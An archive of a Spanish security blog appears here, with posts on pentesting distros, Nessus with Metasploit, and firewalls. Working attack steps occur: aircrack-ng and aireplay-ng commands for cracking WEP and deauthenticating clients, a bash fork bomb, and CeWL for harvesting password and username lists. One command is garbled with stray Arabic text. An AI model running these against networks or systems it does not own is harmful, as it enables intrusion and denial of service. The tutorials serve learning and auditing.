Mostrando entradas con la etiqueta hacker. Mostrar todas las entradas
Mostrando entradas con la etiqueta hacker. Mostrar todas las entradas

jueves, 18 de octubre de 2012

Distros Linux preparadas para la seguridad informática

distro linuxGracias por la confianza depositada en nuestra web y Bienvenido de nuevo!!
Distros Linux enfocadas a la seguridad informática, una lista de algunas distros LINUX enfocadas a la seguridad informática. Dejando de lado al gigante Backtrack, enlistamos distros no tan conocidas.
  • DEFT (Digital Evidence & Forensic Toolkit)

deft desktop 640x480 Distros Linux preparadas para la seguridad informática

Nos encontramos ante una de esas distribuciones que serían perfectos para un CSI de informáticos, porque esta distribución está basada en Ubuntu pero hace uso de LXDE como entorno gráfico (muy ligero) y que además incluye todo tipo de herramientas de informática forense, como DHashClamAV,WiresharkGigolo o Nessus. Todas estas herramientas permitirán estudiar posibles intrusiones en nuestros sistemas, o bien analizar dichos sistemas para evitar futuros problemas.
http://www.deftlinux.net/
  • QubesOs

droppedImage Distros Linux preparadas para la seguridad informática
Un sistema operativo hipervirtualizado. Esto es, un sistema operativo construido a partir de docenas de máquinas virtuales, cada una de ellas atendiendo, enjaulando, aislando las piezas de software que controlan cada uno de nuestros recursos de cómputo. Esto es Qubes OS, un metasistema operativo diseñado por hackers para ser el más “seguro” del mundo.

Joanna Rutkowska, polaca, experta en seguridad y hacker reconocida en 2006 por crear Blue Pill: un malware indetectable hecho con virtualización para tomar el control de Windows Vista. Blue Pill es un rootkit indetectable. El bagaje conseguido con ese y otros proyectos le permitieron avanzar hasta dar comienzo, al desarrollo de Qubes soportado por su empresa Invisible Things Lab.
  • Implementa el paradigma de seguridad por aislamiento (no por oscuridad, por supuesto).
  • Es Free/Libre Open Source Software.
  • Es un metasistema operativo construido a partir de bloques de software existente.
  • Representa un nivel de abstracción más alto, uno donde los procesos ahora son máquinas virtuales y el sistema operativo es un Hipervisor.
  • Si hablamos del futuro de los sistemas operativos, hay dos extremos: los que están en la nube y este, llamado Qubes.
  • Lahynux

lahynux 640x480 Distros Linux preparadas para la seguridad informática
Se trata de una distribución linux de seguridad que como tal lleva herramientas dedicadas a este tema. Va dirigido principalmente a administradores de sistemas, auditores de seguridad así como todas aquellas personas que quieran aprender a utilizar herramientas de este tipo en un entorno Linux sin olvidar que algunas de las herramientas que lleva son de Windows emuladas con wine.

La principal diferencia con Backtrack, WifiSlax y otras distribuciones de seguridad se basa principalmente en que esta además de las herramientas propias de seguridad propias de estas lleva herramientas de administración tales como un editor de particiones de disco (gparted), una herramienta para el clonado de discos (partimage), software de monitorización de red (zabbix,ntop), apache y mysql corren en modo live para dar servicio a las herramientas antes mencionadas y software a nivel de usuario tal como openofficeamsnpidginkompozerxchatktorrentfirefox,netscape (necesario para dsniff), etc …
 http://www.lahynux.com/
  • Lightweight Portable Security

Lightweight1 Distros Linux preparadas para la seguridad informática
El sistema de defensa de los Estados Unidos de Norteamérica ha lanzado la nueva versión de sus Sistema Operativo con núcleo Linux en su versión 1.2.2. Al igual que la mayoría de las distribuciones Linux se puede iniciar desde un cd y/o Usb sin necesidad de instalar.

Este S.o. (Sistema operativo) ha sido desarrollado con el propósito de ser ejecutado en computadoras nada confiables, dejándonos acceder a Internet u otras redes de forma anónima y sin dejar rastro, ya que su ejecución se realiza a través de la Memoria ram y no en los discos duros, evitando dejar rastro alguno.
Este S.O. tiene incluido Firefox con soporte en Flash y Java, encriptacion, visor de documentos Pdf, explorador de archivos, acceso remoto a escritorios, clientes SSh y la capacidad de abrir unidades USB
http://www.spi.dod.mil/lipose.htm
  • Caine

caine2.5.1 637x480 Distros Linux preparadas para la seguridad informática
CAINE (Computer Aided INvestigative Environment), es una distribución GNU/Linux en modo LiveCD creada por Giancarlo Giustini como un proyecto de Informática Forense (Forense Digital) para el Centro de Investigación en Seguridad (CRIS), con el apoyo de la Universidad de Modena y Reggio Emilia.

El proyecto CAINE no pretende ser una nueva herramienta forense o framework de recopilación de ellas, pues este tipo de distribuciones ya existen. CAINE propone como novedad un nuevo entorno de fácil uso para todo este tipo de herramientas. Además introduce nuevas características importantes, que aspiran a llenar el vacio de interoperabilidad a través de diferentes herramientas forenses, ya que proporciona una interfaz gráfica homogénea que guía a los investigadores digitales durante la adquisición y el análisis de las pruebas electrónicas, y ofrece un proceso semi-automático durante la documentación y generación de informes y resultados.
  • Fácil interoperabilidad durante todo el análisis (Preservación, Recolección, Análisis, Reportes).
  • Amigable entorno gráfico.
  • Ubuntu como sistema base, ello implica un fácil uso y fácil instalación o adaptación sobre nuestro entorno de trabajo.
  • Generación semi-automática de reportes.
Algunas herramientas incluídas:
  • Grissom Analyzer
  • Automated Image & Restore (AIR)
  • Guymager
  • Foremost and Scalpel
  • Autopsy 2.20 and TSK 3.0
  • SFDumper
  • Fundl
  • Stegdetect
  • Ophcrack
http://www.caine-live.net/

Matriux 

Matriux es un proyecto de código abierto dedicado para todos los hackers y ensusiastas de la seguridad. Es una distribución de seguridad que consiste en un poderoso conjunto, de herramientas libres y de código abierto que pueden ser utilizadas para varios propósitos incluyendo, pero no limitado a Pentesting, hacking éticoadministración de sistemas y redesinvestigaciones forenses,pruebas de seguridadanálisis de seguridad, y mucho más. A pesar de ser una distribución diseñada para entusiastas y profesionales de la seguridad, puede utilizarse normalmente como sistema de escritorio.

matriux krypton 03 640x419 Distros Linux preparadas para la seguridad informática
Sus aplicaciones se dividen en:
ReconnaissanceScanning
Gain Access (Attack Tools)
Framework
Radio
Digital-Forensics
Debugger
Tracer
Misc
Puedes ver la lista de aplicaciones completa aquí:
http://www.matriux.com/index.php?page=arsenal

Puedes ver unas capturas de pantalla aquí:
http://www.matriux.com/index.php?page=art-de-matriux

Y puedes descargar la ISO aquí:
http://www.matriux.com/index.php?page=download

Personalmente puedo decirles que es un S.O. muy completo, poderoso y con un entorno más amigable que Backtrack además de que ha considerado un aspecto un poco olvidado por otras distribuciones, la apariencia. Personalmente muy recomendada.

BackBox 

BackBox es una distribución Linux basada en Ubuntu, diseñada para ser rápida y muy eficaz, consumiendo pocos recursos con un entorno mínimo.
backbox 2 menu 0 640x480 Distros Linux preparadas para la seguridad informáticaBackbox
Sus Herramientas se dividen en:
Documentation & Reporting
Exploitation
Information Gathering
Miscellaneous
Privilege Escalation
Vulnerability Assessment
Wireless Analysis

Puedes ver la lista de aplicaciones completa aquí:
http://wiki.backbox.org/index.php/Category:Tools_usage

Galería de imágenes:
http://www.backbox.org/gallery/backbox-linux-2

Descarga:
http://www.backbox.org/downloads

BlackBuntu 

Blackbuntu es una distribución para pruebas de penetración, que fue diseñado especialmente para estudiantes y profesionales de seguridad informática. Blackbuntu es una distro basada en Ubuntu 10.10 con entorno GNOME.
metasploit set.preview Distros Linux preparadas para la seguridad informática
Metasploit & SET en BlackBuntu
Sus herramientas se organizan en:
Information Gathering
Network Mapping
Vulnerability Identification
Penetration
Privilege Escalation
Maintaining Access
Radio Network Analysis
VoIP Analysis
Digital Forensic
Reverse Engineering
Miscellanious

Lista completa de Aplicaciones
http://www.blackbuntu.com/tools-list

Capturas de pantalla:
http://www.blackbuntu.com/image/tid/11

Descarga:
http://www.blackbuntu.com/download

Pentoo 

Pentoo es una distribución Linux basada en Gentoo diseñada para pruebas de penetración y seguridad. Está optimizada para el procesador Pentium III. Se trata básicamente de una instalación de Gentoo con una gran variedad de aplicaciones, kernel modificado, y mucho más.
2yn0z9t 600x480 Distros Linux preparadas para la seguridad informáticaPentoo
Dentro de las aplicaciones disponibles se encuentran:
aimsniff
amap
angst
arpwatch
authforce
autoscan-network
chaosreader
dnsa
dnsenum
dsniff
etherape
ettercap
fasttrack
fierce
firewalk
fragroute
ftester

Entre una enorme y amplia lista de herramientas que puedes ver aquí:
http://www.pentoo.ch/download/tools_list_i686_2009_0_final

Descargas:
V. estable >> http://www.pentoo.ch/download/
Mirrors >> http://mirror.switch.ch/ftp/mirror/pentoo/
V. Beta 2012 >> http://dev.pentoo.ch/~zero/isos/

PHLAK 

Professional Hacker’s Linux Assault Kit. Basado en MorphixPHLAK tiene dos interfaces gráficas para modo X  Fluxbox y XFCE4. Se trata de una poderoza herramienta para que los administradores de red busquen errores de seguridad o algun posible intruso.
43933 Distros Linux preparadas para la seguridad informática
Dentro de las categorías de las aplicaciones se encuentran:
Buffer Overflow
Firewalls
HoneyNet
Scanning
Web Hacking
Cracking
General Hacking
Microsoft
Protocol Hacking
Unix
Wireless
Security tools

Descarga:
http://sourceforge.net/projects/phlakproject/files/

Screenshots
http://sourceforge.net/projects/phlakproject/#screenshots

Fuente: xora

miércoles, 30 de mayo de 2012

Hackando una contraseña WIFI WEP

Lo primero, debe quedar claro que no es legal forzar una contraseña WIFI que no sea nuestra. Ademas, también es cuestionable a nivel ético. El objeto de este tutorial, es únicamente formativo. De hecho, las pruebas las realicé con mi propio WIFI, para probar una antena usb comprada a un precio “asombroso” y entender mejor porque se considera que las contraseñas WEP no protegen en absoluto.

Yo saqué dos conclusiones, que por 5 euros mi WIFI usb se calienta como un horno, pero funciona y que mejor no poner codificación WEP en mi router aunque me quede sin poder jugar on-line con mi vieja NDS, incompatible con WPA.

Existen distribuciones especificas para auditoria, como por ejemplo, Backtrack, pero si ya tienes tu WIFI configurada en Debian... ¿porque desprenderme de el?

Lo básico, es instalar aircrack-ng. Desafortunadamente, esta en los repositorios de Lenny y en los repositorios sid, pero no en los de la versión “estable” ni de la versión “testing”. Podría haber apuntado mi source.list a sid y haber instalado, pero tirar de repositorios sid es bastante peligroso, y finalmente, lo que hice fue bajar la ultima versión de los repositorios, vía web, desde aquí e instalarla desde la consola con:
sudo dpkg -i paquetedescargado.deb
¡Vaaale! También lo puedes hacer pulsando con el botón derecho del ratón sobre el fichero descargado y seleccionar “instalar con gdebi”. 

Empezamos a trabajar:

Abrimos una terminal y nos logamos como super usuario. En la terminal escribimos:  
airmon-ng
Aquí comprobamos como esta identificada en el sistema nuestra tarjeta inalámbrica. En mi caso es la wlan0, pero puede aparecer como eth1, rt0...

Ahora tendriamos que detener la WIFI, cambiar la MAC por una “ficticia” y volver a levantar el servicio. Como en este caso no estoy atacando una red de otras personas, no tengo necesidad de ocultar mi MAC para esconderme. Y como el sentido de este manual no es atacar redes ajenas, tampoco tengo necesidad de explicar como cambiar la MAC. 

El siguiente paso es “escuchar” las redes dentro del alcance de nuestra tarjeta WIFI, para ello tecleamos lo siguiente en el terminal.
airodump-ng wlan0  (wlan0 porque en el paso anterior vi que mi WIFI se identificaba así en mi sistema)
Le dejamos trabajar un poco, para que detecte bien las redes. En mi caso, la tarjeta WIFI estaba tan cerca del router que detecto mi red casi de inmediato. Cuando ya este detectada la red, pulsa “CTRL” + “C”. Necesitaremos tener a mano los siguientes datos que nos ha facilitado airodum-ng:


  • BSSID (Es la MAC del router, por ejemplo 00:11:22:33:44:55)
  • CHN (Canal por el que se transmite, por ejemplo el 11)
  • ESSID (El nombre de la red, por ejemplo Mi_wifi)

Bien, comenzamos con la captura de paquetes. Los resultados los guardaremos en un fichero llamado prueba y el programa se ira encargando de repartirlos en ficheros prueba-1, prueba-2...
airodump-ng -c CANAL -w prueba --bssid 00:11:22:33.44:55 wlan0
Evidentemente, CANAL es el CHN que habíamos obtenido antes, y el BSSID también. El nombre del fichero donde guardamos los datos, puede ser cualquiera, y aquí lo hemos llamado prueba.

Ahora estamos capturando datos. La cantidad de paquetes capturada es la que aparece en la columna #DATA. Para una clave WEP se necesitan capturar entre 20,000 y 25,000 paquetes. Se puede hacer que la red tenga mas trafico, inyectando paquetes con aireplay-ng, pero mi tarjeta de red de 5€ no daba para tanto.

Dejamos a airodump-ng capturando paquetes, y abrimos otra terminal en la que también nos logamos como super usuario. En ella vamos a ir realizando la búsqueda de la contraseña, mientras se capturan paquetes. Para esto, en la nueva terminal, tecleamos:
aircrack-ng prueba*.cap
Con ello aircrack-ng comenzara a utilizar los ficheros prueba.cap que se están generando para buscar la contraseña. Si la encuentra, ya tenemos el trabajo realizado. Si no la encuentra, esperara a tener mas paquetes capturados para volver a realizar el ataque. Por defecto, realiza una nueva prueba cada 5000 paquetes capturados.

Con estos sencillos pasos, sin siquiera realizar inyección de paquetes y con una tarjeta WIFI USB de lo peor del mercado, aircrack-ng consiguió mi contraseña en algo mas de 30 minutos, lo que evidencia que el profesor de mi minicurso de redes tenia razón en decirme que usar WEP y no usar nada es casi igual.
 

miércoles, 23 de noviembre de 2011

Parche para reducir el consumo de energía en GNU/Linux


Un desarrollador de RedHat ha creado un parche para el Kernel de Linux que reduce el consumo de la batería de los dispositivos con este SO instalado. y al parecer ha dado muy buenos resultados.
El problema era que a partir de la versión 2.6.38 del Kernel, se deshabilitó -no entiendo por qué- por defecto el módulo Active State Power Management el cual tiene entre sus funciones reducir el consumo de energía.
El parche y la información de esta noticia lo obtuvimos del blog de HumanOS. Cuenta con unas 60 líneas de código y podemos verlo en el este enlace. Es muy probable que haga su aparición en el empaquetado de la versión 3.2 del Kernel y a lo mejor lo veamos en Ubuntu 12.04 LTS u otras distribuciones con fechas de lanzamiento a principios del 2012.
Los más beneficiados por supuesto serán los usuarios de dispositivos móviles, laptops, netbooks y demás.

¿Cómo funciona una bomba fork?

Fork Bomb Wallpaper1 768x480 ¿Cómo funciona una bomba fork?
La prima Wikipedia dice lo siguiente sobre las bombas fork:
La bomba fork es una forma de ataque del tipo denegación de servicio sobre un computador que implementa la operación fork, o alguna funcionalidad equivalente mediante la cual un proceso es capaz de crear otro proceso.
Una bomba fork funciona creando una gran cantidad de procesos muy rápidamente con el objetivo de saturar el espacio disponible en la lista de procesos mantenida por el sistema operativo del computador. Si la tabla de procesos se llega a saturar, entonces no se pueden iniciar nuevos programas hasta que no se cierre alguno. En el caso que esto suceda, es muy poco probable que se pueda iniciar un programa útil ya que los procesos de la bomba estarán esperando para poder crear nuevos procesos a la primera oportunidad que se les conceda.
Las bombas fork no sólo ocupan espacio dentro de la lista de procesos, también consumen tiempo de proceso y memoria de la máquina donde se ejecutan. Como resultado de esto, los ordenadores se vuelven lentos e incluso se pueden volver inutilizables dada la falta de memoria y la imposibilidad de aprovechar el procesador.
¿A qué suena apetitoso? icon twisted ¿Cómo funciona una bomba fork? Lo que más me llama la atención de las bombas fork es la belleza de su código en bash (imagen superior).
Y tú te estarás preguntando... ¿esa ristra de símbolos puede ser tan letal para un sistema? La respuesta es sí. Si expandimos el código, y nombramos a la función bomb en vez de :, quedaría algo así:
1
2
3
bomb() {
 bomb | bomb &
}; bomb
Para los que no son programadores, lo que genera este código es un bucle infinito que colapsa el sistema.

lunes, 19 de septiembre de 2011

Metasploit Metasploit The Penetration Tester’s Guide (completo)

Hoy les quiero mostrar:
Metasploit es utilizado por profesionales de la seguridad en todas partes pero esta herramienta puede ser difícil de entender para los usuarios por eso al utilidad de esta guía.
Algunos de los objetivos de dicha guía son:
  • “Encontrar y explotar sistemas sin mantenimiento, mal configurados, y sin parches
  • Realizar reconocimiento y encontrar información valiosa sobre el objetivo
  • Bypass de tecnologías antivirus y eludir controles de seguridad
  • Integrar Nmap, NeXpose, y Nessus con Metasploit para automatizar la detección
  • Utilizar Meterpreter para lanzar más ataques desde el interior de la red
  • Conocer otros programas independientes que Metasploit, herramientas de terceros, y plug-ins
  • Aprender a escribir sus propios módulos de explotación de Meterpreter y scripts”
ahora lo traemos completo
descarga1
descarga2

jueves, 15 de septiembre de 2011

BackBox Linux 2, una distribución “penetrante”

No he podido evitar el juego de palabras con el título de la entrada, y es que BackBox Linux 2 es la nueva versión de esta suite de herramientas de pruebas de intrusión o “penetración” si traducimos literalmente en inglés.

backbox linux 2 500x374 BackBox Linux 2, una distribución penetrante

Como otras soluciones similares -BackTrack es probablemente la más conocida- BackBox ofrece una forma potente de evaluar la seguridad de nuestros sistemas.
La distribución está basada en Ubuntu 11.04 Natty Narwhal, con el kernel 2.6.38 y la versión 4.8.0 de Xfce (nada de Unity). Entre las novedades de la distribución están tres nuevas secciones de auditoría de seguridad: Evaluación de la Vulnerabilidad, Análisis Forense y Análisis VoIP.

Como revelan en The H Open, hay actualizaciones para la mayor parte de los paquetes de seguridad y pruebas que componían la distribución, y además tenemos Firefox 6.0.1, Thunderbird 3.1.13 (ahora mismo algo antigua), Pidgin IM 2.7.11 e incluso AbiWord si nos da por escribir textos directamente desde BackBox Linux 2.

Podéis encontrar más detalles sobre la versión en el anuncio oficial, y podéis descargar BackBox Linux 2 tanto para plataformas de 32 como de 64 bits en los diversos espejos de descarga disponibles.

martes, 28 de junio de 2011

Nessus + Metasploit en Backtrack 5

Nessus es una aplicación para el escaneo de vulnerabilidades, una herramienta indispensable para auditorias de seguridad informática, Disponible para Linux, Windows, BSD, Mac OS X y Solaris. En este artículo veremos los pasos para instalar Nessus 4.4 .1  en Backtrack 5, los mismos pasos sirven para instalarlo en Ubuntu o Debian.

Ingresamos a http://www.tenable.com/download/ y seleccionamos la plataforma linux, luego aceptamos los terminos de la licencia para acceder a las opciones de descarga en donde seleccionaremos la versión de nessus para nuestro sistema operativo. En este caso descargaremos la versión para Ubuntu 10.04
nessus ubuntu 10.04
Luego abrimos una Terminal, ubicamos la ruta donde descargamos el archivo y ejecutamos:
sudo dpkg -i Nessus-4.4.1-ubuntu910_i386.deb

Luego vamos a crear el usuario para administrar Nessus, ejecutamos:
/opt/nessus/sbin/nessus-adduser
Ingresamos el Login (usuario) el password con su confirmación y  habilitamos el usuario como administrador de Nessus, debemos ver algo como esto:
usuario nessus
admin nessus

Registramos nessus
Debemos registrarnos en el sitio de Nessus, puedes hacerlo siguiendo este enlace http://www.tenable.com/register/, Ingresamos a la opción HomeFeed, la cual es gratuita para uso personal.
nessus home

Diligenciamos el formulario, luego recibiremos un código en la cuenta de correo registrada.
registro nessus
En la terminal ejecutamos:
sudo /opt/nessus/bin/nessus-fetch –register XXXX-XXXX-XXXX-XXXX-XXXX
Nota: Reemplaza las XXXX por el código de registro
Si todo sale bien recibiras el siguiente mensaje:
Your activation code has been registered properly - thank you.
Luego del registro comenzará la actualización de los plugins de nessus, no canceles el proceso, aunque no muestra nada espera hasta que salga algo como esto.
Actualizando plugins nessus

Iniciando Nessus:

Luego de que se instalen los plugins vamos a iniciar el servicio de nessus, ejecutamos el comando:
/etc/init.d/nessusd start
Verificando el puerto
Para verificar que nessus se esté ejecutando colocamos el comando:
netstat -ntpl | grep nessusd
proceso nessusd

Debemos verificar que nessus se encuentre corriendo en el puerto 8834.  Si esto es correcto ingresamos con nuestro navegador web a https://localhost:8834


Integrando Nessus con Metasploit
Ejecutamos metasploit en nuestra consola
cd /etc/pentest/framework3
msfconsole
Metasploit
Cargamos el módulo nessus desde metasploit  con el comando load nessus
load nessus
Nos conectamos a nuestro nessus con las credenciales configuradas en los pasos anteriores, ejecutamos:
nessus_connect usuario:password@127.0.0.1 ok
Donde usuario es el usuario que configuramos en la instalación de nessus y el password correspondiente. Si los datos son correctos debemos recibir el siguiente mensaje.

conexión nessus
Ahora podemos lanzar un escaneo con nessus desde metasploit, primero debemos verificar las políticas disponibles o crear una desde la interfaz web de nessus.
Para listar las politicas ejecutamos nessus_polycy_list
Listado de políticas
Para crear un escaneo ejecutamos  nessus_scan_new -idPolicy NombreEscaneo host o red
Ejemplo:
Nessus + metasploit scan
En este caso lanzamos un escaneo llamado Escaneo2 utilizando la política 1 hacia la red 192.168.0.0/24 , luego con el comando nessus_report_list generamos un reporte de los escaneos ejecutados.
Reporte nessuscopiamos el ID del escaneo realizado y podemos sacar un reporte de los hosts y el número de vulnerabilidades encontradas.
reporte host nessus
Una vez identificados los host vamos a realizar un reporte del host que nos interese, para eso ejecutamos:
nessus_report_host_ports <hostname> <report id>
Reporte por host nessus
Eso es todo, juega con los diferentes comandos disponibles para nessus desde la consola de metasploit.
 Fuente: hotfixed
Saludos!!!

lunes, 13 de junio de 2011

Herramienta de recolección de metadatos en sitios Web

Los metadatos de los sitios Web, son una buena fuente de información para realizar ataques, de ellos se puede extraer nombres de usuarios y posible contraseñas.
Con la herramienta CeWL se puede obtener metadatos de los documentos de un sitio Web y de las páginas Web. Esta herramienta genera tres listas con la siguiente información:
  • Una lista de palabras de la Web que se pueden utilizar como contraseña para ataques de diccionario.
  • Una lista con direcciones de correo electrónico, de la que se puede extraer posibles usuarios.
  • Una lista con usuarios y autores extraídos de los metadatos de los archivos encontrados en el sitio Web, soporta archivos de formato Office hasta 2007 y PDF. Ideal para recabar lista de de nombres de usuarios.
Es una CeWL es una herramienta para sistemas Linux escrita en Ruby ideal para auditar la seguridad de sitios Web, controlando la información que se proporciona en los metadatos.
Más información y descarga de CeWL:
http://www.digininja.org/projects/cewl.php

sábado, 14 de mayo de 2011

Video Cracking WEP - Desasociando un cliente conectado al AP

En este vide se muestra el ataque 0 - Deautenticación para desasociar un cliente conectado al punto de acceso y asi obtener la clave WEP (Wired Equivalent Privacy) de la red inalambrica. El objetivo principal de los paquetes de deautenticación es interrumpir-romper la asociacion entre el cliente conectadioy el AP (Access Point). El ataque 0 o de Deautenticación (--deauth) es también conocido como el ataque DoS (Denegacion de Servicio), pero no es el propósito del vídeo.

Ataque 0: Deautenticación
Ataque 3: Reinyección de una petición ARP (ARP-request)
Estos pasos también se puede revisar en el post anterior.

Herramientas
* Backtrack 4 R2
http://www.backtrack-linux.org/downloads/
* Aircrack-ng (incluida en BackTrack)
http://www.aircrack-ng.org/
* Tarjeta WiFi que soporte el modo Monitor y la Inyección د باقويتيس.



Attack 0: Deauthentication + Attack 3: ARP Packets Injection = Key Found!! from delfirosales on Vimeo.

Comandos
root@bt:~# airmon-ng start wlan0

root@bt:~# airodump-ng mon0

root@bt:~# airodump-ng --bssid 00:18:3F:18:85:C9 --channel 6 --write captura mon0

root@bt:~# aireplay-ng --deauth 10 -a 00:18:3F:18:85:C9 -c 0C:60:76:71:D5:5B mon0

root@bt:~# aireplay-ng --arpreplay -e WifiAttack -b 00:18:3F:18:85:C9 -h 0C:60:76:71:D5:5B mon0

root@bt:~# aircrack-ng captura-01.شاب
 
Vídeo Online
http://youtu.be/jUeBo2qBNJg?hd=1
Descargar Vídeo
http://www.mediafire.com/?q9doqdr2539c06b


Descubren manera de sacar dinero de cajeros automáticos, y sin clave


Esta noticia de hoy espero que se difunda lo antes posible por todos los medios, pero sin querer alarmar mucho solo diré que se ha descubierto lo que posiblemente sea el problema de seguridad mas grande jamás enfrentado por la industria de los cajeros automáticos…
Un equipo de investigadores de Cambridge University en el Reino Unido han descubierto una manera “extremadamente sencilla” en engañar a cualquier cajero automático para que debite dinero de una cuenta, incluso sin el estafador saber la clave (o “PIN”) del dueño de la tarjeta.

Los investigadores aun no quieren dar detalles del ataque por motivos obvios (aunque se sospecha que la técnica ya se conocen en el mercado negro, dado casos de personas que reportan que dinero mágicamente desaparece de sus cuentas), pero el ataque consiste de primero clonar una tarjeta de cualquier persona (algo que hoy día es totalmente trivial y que lo puede hacer incluso alguien con muy pocos conocimientos técnicos), y después utilizar un software especial conectada a una laptop.

Lo que sucede en el próximo paso es que de la laptop sale conectado por medio de un fino cable la tarjeta clonada, que se inserta en el cajero automático. En este momento, el cajero automático pide el PIN del usuario, y es aquí en donde viene el gran problema: Los investigadores han descubierto una falla fatal en los sistemas de verificación de PIN en los cajeros automáticos que permite que uno no necesite la clave para sacar dinero. En otras palabras, en este punto el cajero acepta cualquier clave como valida.

Para demostrar la veracidad y seriedad del caso, reporteros de la BBC de Londres visitaron a los investigadores de Cambridge y sacaron de sus carteras un par de tarjetas de débito, las cuales fueron inmediatamente clonadas, insertadas en un cajero cercano, y ciertamente sacaran dinero de las cuentas sin ningún problema. Como dicen, oh oh…

La seriedad del caso es que como dicen los mismos investigadores: “Esta es una falla en un sistema que es utilizado por cientos de millones de personas, por decenas de miles de bancos y millones de vendedores.”
Y como agrega el Profesor Ross Anderson, uno de los investigadores principales de este descubrimiento: “Creemos que esta es una de las mas graves fallas que hemos descubierto – que se han descubierto jamás – en sistemas de pagos, y yo he estado en este negocio [de descubrir fallas de seguridad] por 25 años.”

En otras palabras, solo esperemos que las instituciones financieras de todo el mundo se percaten de este problema y empiecen a implementar una solución lo antes posible. Mientras tanto, si se les esfuma el dinero de sus cuentas de manera “mágica”, ya pueden apuntarle este artículo a sus bancos como evidencia de que algo feo podría estar ocurriendo…
Página oficial que describre el ataque de seguridad
Fuente de la noticia

¿Realmente nos protege un Firewall?

Estar detrás de un firewall no es garantía de estar seguros al 100%. La seguridad de nuestra red muchas veces no depende de las herramientas o aplicaciones sino de cómo se utilizan las mismas.

Conectarnos a Internet sin contar con las herramientas adecuadas y con un firewall bien configurado es el equivalente a tener una casa sin cerraduras en las puertas. Un intruso puede tomar control de los servidores o de las PCs de los usuarios y tener acceso a información privilegiada.


¿Qué es un Firewall? básicamente es un filtro capaz de controlar y examinar todas las comunicaciones, entrantes y salientes, que pasan de una red a otra permitiendo o denegando el acceso.

Un firewall (o cortafuegos) se utiliza para proteger una computadora o una red interna, de intentos de acceso no autorizados desde Internet u otras redes externas, denegando las transmisiones y vigilando todos los puertos de red. Su uso más común es situarlo entre una red local e Internet, evitando que los intrusos puedan atacar o acceder las computadoras de la red local.

Existen dos tipos básicos de firewall disponibles: firewall por hardware y firewall por software. Comúnmente se suele combinar ambos en una red para aumentar la seguridad de la misma.

Un firewall por hardware viene instalado en la mayoría de los routers que utilizamos para acceder a Internet. Este tipo de firewall disfraza la dirección y puertos de la PC a los intrusos y monitorean las comunicaciones entre redes.

Un firewall por hardware nos protege del uso oculto y riesgos externos de servicios como www y ftp. También nos protege de programas maliciosos con los Trojan Dialers: programas que cortan la conexión actual y utilizan la línea para llamadas de larga distancia utilizadas por terceros.

Ejemplos de firewall por hardware son: Panda GateDefender Integra 100 y 300, D-Link DFL 800 y la serie Cisco ASA 5500 Adaptive Security Appliances, por nombrar algunos.

Un firewall por software es una aplicación de seguridad que se puede instalar o viene integrada con el sistema operativo. Este tipo de firewall monitorea y bloquea siempre que sea necesario el tráfico de Internet.

Ejemplos de firewall por software son: Zone Alarm, Agnitum Outpost Free y Sygate Personal Firewall, por nombrar algunos.

Una limitación importante de la mayoría de firewall por software es que solo controla los paquetes que llegan a nuestro ordenador y no los que se envían.

¿Es necesario un firewall por software si tengo un router? un firewall por hardware no consume recursos del sistema y una vez configurado protege a todos los equipos en la red. Pero no todos los routers cubren las principales opciones (routers caseros) ni todos los equipos se conectan siempre a la misma red.

Si utilizamos un equipo portátil el uso de una aplicación firewall instalada en nuestro sistema es indispensable ya que el acceso a internet lo podemos hacer por medio de redes privadas o públicas de las cuales no sabemos ni su configuración ni el tipo de información que circula por la misma.

Hay que tener en cuenta que un firewall independientemente si es por hardware o software no nos protegerá de ataques cuyo tráfico no pase por el mismo, de la copia local de datos en medios físicos de almacenamiento, de ataques de ingeniería social, de virus informáticos en archivos o software y de fallos de seguridad de los servicios y protocolos cuyo tráfico esté permitido.

Para proteger ese 1% que queda en el aire y no importando el tipo de firewall que se use debemos utilizar un antivirus si nuestro sistema operativo lo amerita, ser cuidadoso cuando navegamos por internet, estar atento con las aplicaciones o servicios a los que permitimos acceso en nuestro firewall y de ser posible usar un política restrictiva que deniegue todo el tráfico excepto el que sea explícitamente permitido.

El mejor firewall es el que uno administra, con un firewall correctamente configurado podemos impedir el 99% de las intrusiones en nuestro sistema.

martes, 10 de mayo de 2011

Pronto BackTrack 5 !!!

Bueno chicos... Se nos viene BackTrack 5 !!!

En esencia seguira siendo la excelente herramienta de pentesting de siempre, solo que ahora se puede elegir entre KDE y Gnome para los fanaticos de Gnome XD.

El primer Release sale en 3 días (10 de mayo), así que a esperar...

Para mayor información la Web oficial: http://www.backtrack-linux.org/


Fuente:

martes, 3 de mayo de 2011

Herramientas para test de penetración redes Wi-Fi

Se trata de una distribución Linux, un servicio de cloud computing y una herramienta; muy útiles para realizar un test de penetración en redes Wi-Fi.

Una distribución muy interesante es Slitaz Aircrack-ng, aunque existe distribuciones para estés fines más completas en herramientas, muy pocas soportan tanto hardware diferente como esta distribución. Pero no solo su compatibilidad es lo que hace de ella una buena distribución, la inclusión de Aircrack-ng 1.0 y que solo ocupa 54,7 MB le hacen ganar enteros.

Más información y descarga de Slitaz Aircrack-ng

WPA cracking, un servicio de cloud computing al que enviando una captura de trafico PCAP el nombre del ESSID de la red, utiliza sus 400 procesadores y un diccionario de 136 millones de combinaciones para descifrar la claves WPA en aproximadamente 20 minutos, por el precio de 35 dólares con una opción de usar solo la mitad de procesadores por 17 dólares.

Más información de WPA cracking

InSSIDer es una herramienta de descubrimiento y medición de potencia de señal de redes Wi-Fi de la talla de NetStumbler pero con compatibilidad para sistemas 64-bit. Además incluye soporte para GPS con capacidad de exportar los datos a Google Earth.

Más información y descarga de InSSIDer.

Autor: Alvaro Paz
Fuente: Guru de la Informática

La Informatica Forense

Resumen. La información es el activo más valioso que poseemos en la sociedad actual. Ésta es cada vez más importante para el desarrollo de las empresas y de negocios exitosos a través de la implementación de sistemas de información. Para proteger la información surge una nueva ciencia, la Informática Forense; ésta persigue objetivos preventivos así como reactivos, una vez se ha dado una infiltración en el sistema. 

La Informática forense es una ciencia relativamente nueva y no existen estándares aceptados. Existen proyectos que están en desarrollo como el C4PDF (Código de Prácticas para Digital Forensics), de Roger Carhuatocto, el Open Source Computer Forensics Manual, de Matías Bevilacqua Trabado y las Training Standards and Knowledge Skills and Abilities de la International Organization on Computer Evidence.

Informática forense
Actualmente la tecnología esta avanzando a pasos agigantados, y con ella la forma en que todos operamos. Ahora toda la información es almacenada en los ordenadores de manera automática, a diferencia de épocas anteriores en donde la información se almacenaba de manera manual y en papel. Esto conlleva cierto tipo de ventajas y desventajas.

